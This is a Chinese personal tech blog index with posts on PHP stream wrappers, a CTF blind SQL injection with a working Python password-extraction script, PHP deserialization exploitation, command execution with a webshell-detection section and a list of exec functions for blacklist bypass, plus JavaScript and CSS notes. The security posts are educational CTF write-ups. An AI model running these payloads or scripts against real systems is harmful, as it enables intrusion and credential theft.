D_infinite的小站

不积跬步,无以至千里。


  • 首页

  • 关于

  • 标签

  • 归档

浅谈PHP伪协议

发表于 2017-04-24 | 分类于 PHP

0x01 介绍

这里引用官网的解释

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

而对于php://,官网的解释如下

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

0x02 功能

php://主要支持以下几种类型协议

php://input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

1
2
3
4
<?php
$ok=$_POST['ok'];
$ok2=$_POST['ok2'];
$test=readfile('php://input','r');//ok=1&ok2=2

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

1
2
3
<?php
echo 'ok';
$test=readfile('php://output','r');//ok

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

一般来讲,resource是链接,但是通过read参数,可以读取文这里不需要开启allow_url_include参数也可以读取远程链接或文件。

1
2
<?php
$test=readfile('php://filter/read=convert.base64-encode/resource=3','r');

此时,能输出文件3的base64编码。

0x03 除了PHP://之外

data://

data://伪协议 >> 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

用法:

1
?file=data://text/plain;base64,base64编码的payload

效果跟php://input是一样的,只不过不需要将数据放到post当中,直接在url输入即可。

phar://

phar://伪协议 >> 数据流包装器,自 PHP 5.3.0 起开始有效,正好契合上面两个伪协议的利用条件。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。

用法:

1
?file=phar://压缩包/内部文件

只能解压phar以及zip后缀,rar不行。通常用于上传绕过。

SQL构造操作符注入

发表于 2017-04-19 | 分类于 SQL注入

0x01 什么叫构造操作符注入

谷歌了一圈,这个词没有明确定义。当然不排除有我不知道的叫法。反正大体的意思是,通过一些mysql内置的函数,构造一个式子,通过式子的结果拼凑信息。比如mid,substr,ascii等。

0x02 多说无用,直接看实例。

博主在上周经历了这样一道web题,题目对输入的过滤是这样的。

1
2
3
4
5
6
7
8
function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}

这样猛一看,虽然欣喜的发现'没有被过滤,但是悲剧的是,常用了or ||
union全被过滤了,瞬间感觉就束手无策了。但是以下这些还没被过滤:

1
'|mid|substr|(|)|=

基于此,想到了以下构造。

1
2
3
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for p in lists:
username=-1'=ascii(mid( (passwd) from (str(i)) )=str(ord(p)))='0

上面空格是为了方便阅读,原题把空格给过滤了。

大意很简单,就是通过取得每个passwd的第i个值,将其转换为对应的ascii码,与密码可能出现的字符进行比较,如果比较成功,则返回true,即1。
那么最终的式子将变为-1=1=0。而mysql是左结合的,-1=1为false,即0,0=0,为true,即1。

(注:之所以带括号是因为在空格被过滤的情况下括号可以代替空格,而其实mid是返回i之后的字符串,但是ascii默认取字符串第一个字符进行转码。ord是得到ascii码的函数。)

最终通过以下python程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://117.34.111.15:89/?action=show"
lists='1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
passwd=''
for i in range(1,33):
for p in lists:
param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
print(requests.post(url=url,data=param).text)
if 'admin' in requests.post(url=url,data=param).text:
passwd=passwd+p
break
print(passwd)

得到密码。

0x03 总结

总的来说这属于一种比较特殊的注入姿势,只有在无法直接获取有效信息(比如回显被关闭,或者某些mysql字符被黑名单过滤)。这个时候可以考虑通过构造操作符进行注入。

PHP中的反序列化漏洞

发表于 2017-04-17

0x01 什么是序列化?什么是反序列化?

序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Hello{
public function sayHello(){
echo 'Hello';
}
}
$a=new Hello();
$s=serialize($a);
$a_un=unserialize($s);
echo $s.'<br>';//O:5:"Hello":0:{}
echo $a_un;//Hello Object ()

0x02 那这个序列化跟反序列化到底怎么利用?

首先得科普一下,在php对象当中,有一类方法被称为魔术方法。这类方法以__开头,在操作对象的某些过程中,这些方法会被自动执行。而反序列化漏洞利用思路,便是跟这个魔术方法有关。当对字符串进行unserialize操作时,会自动调用对象中的wakeup方法,这就让我们有了可乘之机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Hello{
public function sayHello(){
echo 'Hello';
}
public function __wakeup()
{
phpinfo();
}
}
$a=new Hello();
$s=serialize($a);
$a_un=unserialize($s);

我们在之前代码的Hello对象当中添加了一个__wakeup()方法,里面调用了phpinfo()输出服务器中php的相关信息。当我们反序列化$s这个变量时,phpinfo()被执行了。

0x03 可是说了一大堆,__wakeup()又不是你写的,该怎么利用呢?

这个时候我们就要跟踪函数,观察函数当中有没有作为用户可控的部分,进而进行注入。这里就拿我最近做的一个ctf题来举例。
首先,题目的主页是一个留言墙,我们可以随意在上面输入想要的值。
其次,题目给了我部分源码:

1
2
3
4
5
6
7
<?php
lists=[];
class foo{
public function __toString(){
return highlightFile('heiheihei.txt').highlightFile($this->source,true)
}
}

这里不需要去管highlightFile这个函数,我们需要关注的是,这个__toString中的source是我们可以控制的。
这个时候我们打开php手册查找__toString这个方法,发现如果echo某个该对象的实例,则会返回__toString返回的值。

因此,可以精心构造一下序列

1
2
3
4
5
6
7
<?php
$a=new foo();
$a->source='index.php';
$b=new foo();
$b->source=$a;
$c=serialize($b);
echo $c;

为什么要让$b->source=$a呢,因为如果$b的source是一个字符串,那么就不会触发__toString()方法。而当指向$a时,则会试图通__toString()打开source,最后通过这个序列成功读取服务器上的隐藏文件。

远程命令执行

发表于 2017-04-15

0x01 原理

RCE的原理相当简单,其实就是传入执行系统命令函数的参数未经过严格过滤。

0x02 常见命令执行模式

1
2
3
4
5
<?php
$cmd=$_GET['cmd']
if (isset($cmd)){
system($cmd);
}

假设靶机ip地址为192.168.1.1。则

1
http://192.168.1.1/index.php?cmd=ls

将回显

1
1.txt 2.php 3.jpg images documents

诸如此类的函数还有exec,shell_exec,passthru,以及`运算符。
exec和system的区别在于system在单独进程中执行程序,执行结束返回原来的进程,而exec会覆盖掉正在执行的进程。

0x03 webshell命令执行防御

动态监测
webshell传到服务器,就会执行,webshell执行的时刻表现出来的特征就叫动态特征,先前我们说到的webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求、响应做成特征库,加到IDS里面去检测所有的HTTP请求就好了,webshell如果执行系统命令就会有进程,linux下就是nobody用户起的bash,win下就是iis user起的cmd,这些都是动态特征。再者如果黑客反向链接的话,那就更容易检测了,Agent和IDS都可以抓现行,webshell总要有一个HTTP请求,如果我们在网络层监控HTTP,并且检测到有人访问了一个从来没访问过的文件,而却返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵,缺点也很明显,黑客只要利用原文件就很容易绕过,并且部署代价高,网站时常更新的话规则也要不断添加,还有一个思路是利用函数劫持。

静态监测
静态监测用过匹配特征码、特征值、危险函数来查找webshell的方法,只能查找一直的webshell,并且误报率会比较高,但是如果规则完善,可以减低误报率。不过优点就是快速方便,不会对应用造成影响,对已知的webshell查找准确率高。部署方便,一个脚本就能搞定。缺点就是误报高、误报率高、无法查找0day型的webshell,而却很容易被绕过。对于单站点的网站,用静态检测还是有很大好好处,配合人工,能快速定位webshell,但是如果是一个成千上万站点的大型企业,这个时候在人工工作量就比较大。所以用这样一种思路:强弱特征。即把特征码分为强弱两种,强特征命中的则必是webshell,弱特征就交给人去判断。要解决误报和漏报,就不能拘泥于代码级别了,可以换个角度考虑问题:文件系统。我们可以结合文件的属性来判断,比如apache是nobody启动的,webshell属主也是nobody,如果我们的web目录无缘无故多了一个nobody属主的文件,就值得怀疑,理想的办法就是需要一种制度和流程来建设一个web目录唯一的发布入口,控制住这个入口,非法进来的web文件就可以实时发现。

日志检测:
使用过webshell都知道。不会在系统日志中留下记录,只是在web日志中留下webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。

配置加固:
通过加固本地配置达到防御webshell的作用。比如php.ini里有disable_function,这里可以禁止类似system,exec,eval这类函数。

0x04 绕过

绕过方法有很多,这里只列举最简单的绕过:

基于黑名单的绕过:
如果黑名单本身不够健壮,那么可以尝试稍微冷门的系统执行函数。根据黑名单没有的进行尝试,如

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`

PHP中的弱类型转换

发表于 2017-03-12

由于php中的类型转换是自动转换,因此在设计网站时,容易给入侵者有可乘之机,先让我们来看看php的类型转换是如何判别的。

1
2
3
4
5
6
7
<?php
$foo = "0"; // $foo 是字符串 (ASCII 48)
$foo += 2; // $foo 现在是一个整数 (2)
$foo = $foo + 1.3; // $foo 现在是一个浮点数 (3.3)
$foo = 5 + "10 Little Piggies"; // $foo 是整数 (15)
$foo = 5 + "10 Small Pigs"; // $foo 是整数 (15)
?>

以上这段代码摘自官方手册,前面的$foo被转换成float可以理解,这跟c是相像的,因为1.3是float,为了计算能够进行下去,int也被转换成了float。但是后面是怎么回事呢?

让我们来看看官方手册中对字符串转换成数值的解释:

当一个字符串被当作一个数值来取值,其结果和类型如下:

如果该字符串没有包含 ‘.’,’e’ 或 ‘E’ 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值。其它所有情况下都被作为 float 来取值。

该字符串的开始部分决定了它的值。如果该字符串以合法的数值开始,则使用该数值。否则其值为 0(零)。合法数值由可选的正负号,后面跟着一个或多个数字(可能有小数点),再跟着可选的指数部分。指数部分由 ‘e’ 或 ‘E’ 后面跟着一个或多个数字构成。

因此,php为了让数值符合对应类型,会自动采取强制转换手段,这就有机会在web操作中绕过后台验证或者做别的事情。

想了解更多不同类型的强制转换,请请参考php官方手册

通过闭包解决循环异步问题

发表于 2017-02-20

在循环当中,如果调用回调函数,往往不能如愿,如:

1
2
3
4
5
for(var k=0;k<10;k++){
setTimeout(function(){
console.log(k);
},100);
}

按照正常想法,你可能会认为在控制台中会输出0到9,但实际上最后输出的结果是999999999,为什么会这样呢,很简单,因为回调函数是延迟执行,因此当循环执行完时,才在控制台中输出k值,而这时候相当于十个函数共享一个k值,那必然是得不到你想要的结果。

想要解决,需要使用闭包,方法如下:

1
2
3
4
5
for(var k=0;k<10;k++){
(function(j){
console.log(j);
})(k);
}

通过IIFE(立即函数执行表达式,不懂自行google),即可形成一个新的块级作用域,而这个块级作用域保留了循环时的k值,从而完成了最终我们要达到的效果。

js中的正则表达式

发表于 2017-02-20

匹配方法:

String.prototype.match(Regexp)
//用正则表达式匹配字符串,默认返回首次匹配字符串,若Regexp带有g,则返回数组,包含所有匹配的字符串
String.prototype.test(Regexp)
//返回true或false
RegExp.prototype.exec(String) 
//若加g,依然返回单个匹配字符串,但如果正则存储在变量中,那么exec将带有记忆,如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
> /h(.*?)\b/g.exec('hello hell')
[ 'hello',
'ello',
index: 0,
input: 'hello hell' ]
> /h(.*?)\b/g.exec('hello hell')
[ 'hello',
'ello',
index: 0,
input: 'hello hell' ]
> var re = /h(.*?)\b/g;
undefined
> re.exec('hello hell')
[ 'hello',
'ello',
index: 0,
input: 'hello hell' ]
> re.exec('hello hell')
[ 'hell',
'ell',
index: 6,
input: 'hello hell' ]
>

所以一般来讲,match会比较方便一点。

正则表达式后的三个flag:

  • i:不区分大小写
  • g:匹配多个
  • m:^和$可以匹配每一行的开头和结尾

常用规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//字符转义
var Test1='.. ,,';
var re=/(\.){2}/g
console.log(Test1.match(re));//[ '..' ]
//重复
var Test2='131-2222 1212-1111 222-3333';
var re=/\b\d{3}-\d{4}/g;
console.log(Test2.match(re));//[ '131-2222', '222-3333' ]
//分支条件
var Test3='abba accb adcc abcd aeea';
var re=/\ba[a-zA-Z]*a\b|\ba[a-zA-Z]*b\b/g;
console.log(Test3.match(re));//[ 'abba', 'accb', 'aeea' ]
//分组
var Test4='gogogo out gogo'
var re=/(go)+/g;
console.log(Test4.match(re));//[ 'gogogo', 'gogo' ]
//反义
var Test5='a>1 a<5 a=6 a>0 a=7';
var re=/a[^=]\d+/g;
console.log(Test5.match(re));//[ 'a>1', 'a<5', 'a>0' ]
//后向引用
var Test6='g g g g g kitty ';
var re=/\b(\w)\b\s+\1\b/g;
console.log(Test6.match(re));//[ 'g g', 'g g' ]
//零宽度正预测先行断言(?=exp)
var Test7='singing,dancing,fucked';
var re=/\b\w+(?=ing\b)/g;
console.log(Test7.match(re));//[ 'sing', 'danc' ]
//零宽度负预测先行断言(?!exp)
var Test8='apple ap123 app11ap';
var re=/\bap(?!\d)[a-zA-Z]*\b/g;
console.log(Test8.match(re));//[ 'apple' ]

在JS中,对于四种零宽断言,只支持 零宽度正预测先行断言 和 零宽度负预测先行断言 这两种。

原型对象的重写

发表于 2017-02-09

原型对象的重写与添加是不一样的,举例:

var friend=new Person();
Person.prototype.sayHi=function(){
    alert("hi");
}
friend.sayHi();//输出"hi"

在上面这个例子中虽然实例需要调用的函数在实例创建之后才调用的,但是因为这是改写,所以新写的函数仍在原型链中,向上搜索就能找到,再来看下面这个例子。

Person.prototype.sayHi=function(){
    alert("hi");
}
var friend=new Person();
Person.prototype={
    age:10,
    sayHi:function(){
        alert("hi2");
    }
}
friend.sayHi();

在这个例子里最后输出的是”hi”而不是”hi2”,可见当对prototype用字面量的方式重写之后,原来由该对象创造的实例仍然指向原先的对象。

margin-top在特殊情况下的失效

发表于 2017-02-09

在css中,某些情况下,相邻的两个或多个盒模型中的margin-top会塌陷(即失效)。如:

<div id="box1">
    <div id="box2">
        Hello World!
    </div>
</div>


#box1{
width: 200px;
height: 200px;
background-color: pink;
}
#box2{
margin-top: 50px;
background: #FFCC33;
}

在上述情况中,不会出现:

而会出现:

当以下两个条件被满足时会形成该特殊情况:

  • 父元素没有任何填充物,没有内边距,没有边框
  • 子元素处在父元素的顶部边缘

解决办法有如下三种:

  • 使子元素的属性变为float
  • 使子元素的display属性变为inline-block
  • 使父元素可见(这里的可见既包括显式可见和隐式可见),如将overflow设置为auto

你好世界

发表于 2016-12-26

这是我的第一篇博客,以此为标志,开启我的技术人生

12

D_infinite

20 日志
6 分类
2 标签
© 2021 D_infinite
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4